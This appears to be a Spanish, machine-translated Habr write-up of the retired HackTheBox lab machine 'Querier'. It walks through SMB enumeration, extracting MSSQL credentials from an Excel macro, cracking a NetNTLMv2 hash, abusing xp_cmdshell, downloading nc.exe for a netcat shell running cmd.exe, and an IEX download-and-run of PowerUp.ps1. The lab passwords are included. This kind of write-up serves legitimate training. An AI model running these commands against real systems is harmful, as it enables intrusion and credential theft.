Hola Habr! En este artículo, aprenderá acerca de un método para atacar un servidor remoto utilizando las características de MsSQL, crear un shell inverso para la fijación en el sistema y un ejemplo de cómo operar una política de grupo mal configurada en Windows.
Bajo el corte, hablaremos sobre nuestra experiencia de pasar la máquina de laboratorio
Querier en el portal
hackthebox .
Para aquellos que no saben qué es hackthebox, este es un portal donde puedes probar tus habilidades más recientes en la práctica, hay máscaras de CTF y máquinas de laboratorio.
Descargo de responsabilidadLas reglas del servicio dicen: " No comparta cómo hackeó cada máquina con otros miembros. Esto incluye la generación del código de invitación y todos los desafíos ". Pero como esta máquina ya no está activa y se almacena en la sección Máquinas retiradas , solo los miembros VIP pueden acceder a ella.

Recopilación de información
Comencemos nuestra exploración comenzando el escaneo de puertos con nmap.
nmap –sC –Pn –A 10.10.10.125

Enumeramos los puertos encontrados.
Enumerar 139/445 / tcp (smb)
Utilizaremos la utilidad smbclient para acceder a los recursos del servidor SMB.
smbclient –L //10.10.10.125
Después de revisar todos los recursos, encontramos en el directorio de Informes el archivo "Currency Volume Report.xlsm".

Si abre este archivo con Microsoft Excel estándar,
a primera vista aparecerá completamente vacío.
Analizamos el archivo utilizando la utilidad
binwalk , que lo ayudará a mirar los archivos incrustados del documento xlsm.

De la salida de binwalk, encontramos algunos archivos interesantes contenidos en xlsm.
Usando la bandera –e, descomprímalo.
binwalk –e Currency\ Volume\ Report.xlsm

Ahora usaremos la utilidad de
cadenas para generar caracteres impresos. Al revisar los archivos, encontramos datos interesantes en vbaProject.bin. Parece que encontramos las credenciales para el servidor mssql.

Para resumir la información recibida actualmente:
- Sabemos que el servidor mssql está girando en el puerto 10.10.10.125:1433;
- Tenemos credenciales del servidor mssql del usuario.
Así que intentemos conectarnos al servidor usando el script del módulo
impacket .
python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
Obtenga acceso a MsSQL.

Enumerar MsSQL
Enumeramos la información útil para nosotros usando los comandos del
artículo .
Después de ejecutar SQLi, obtenemos un hash de la contraseña del usuario mssql-svc.

Para obtener la contraseña explícitamente, es necesario eliminarla utilizando cualquier herramienta que sea conveniente para usted.
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
Obtenemos la contraseña de mssql-svc .
Conexión a SQL con nuevos
préstamos de credenciales.
python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth
Los derechos de este usuario nos permiten ejecutar
xp_cmdshellSobre xp_cmdshellMsSQL se entrega con un amplio conjunto de procedimientos avanzados almacenados. El más interesante de ellos es xp_cmdshell. Proporciona acceso a la línea de comando del sistema operativo.
Consigue el caparazón inverso
Estamos tratando de obtener el shell a través de netcat, para esto necesitamos subirlo al servidor atacado.
Vamos al directorio de nuestra máquina donde se encuentra netcat y ejecutamos:
python –m SimpleHTTPServer
En el shell mssql para descargar netcat (nc.exe) en el servidor remoto, ejecute el comando powershell, especificando la ruta de guardado.
xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.xx:8000/nc.exe" – OutFile "C:\Users\mssql-svc\Desktop\nc.exe" "
Iniciamos netcat para escuchar en el puerto 4444.
xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe"
Iniciamos netcat de nuestro lado, especificando la ip y el puerto del servidor atacado y obtenemos el shell.
nc 10.10.10.125 4444
Ejecute un
script desde PowerShellMafia para aumentar los privilegios.
powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.xx:8000/PowerUp.ps1\"); Invoke-AllChecks

Como resultado del script, obtuvimos las credenciales de administrador.
Accedemos a recursos smb con nuevas credenciales y permisos.


Tome la bandera de root.txt. Victoria!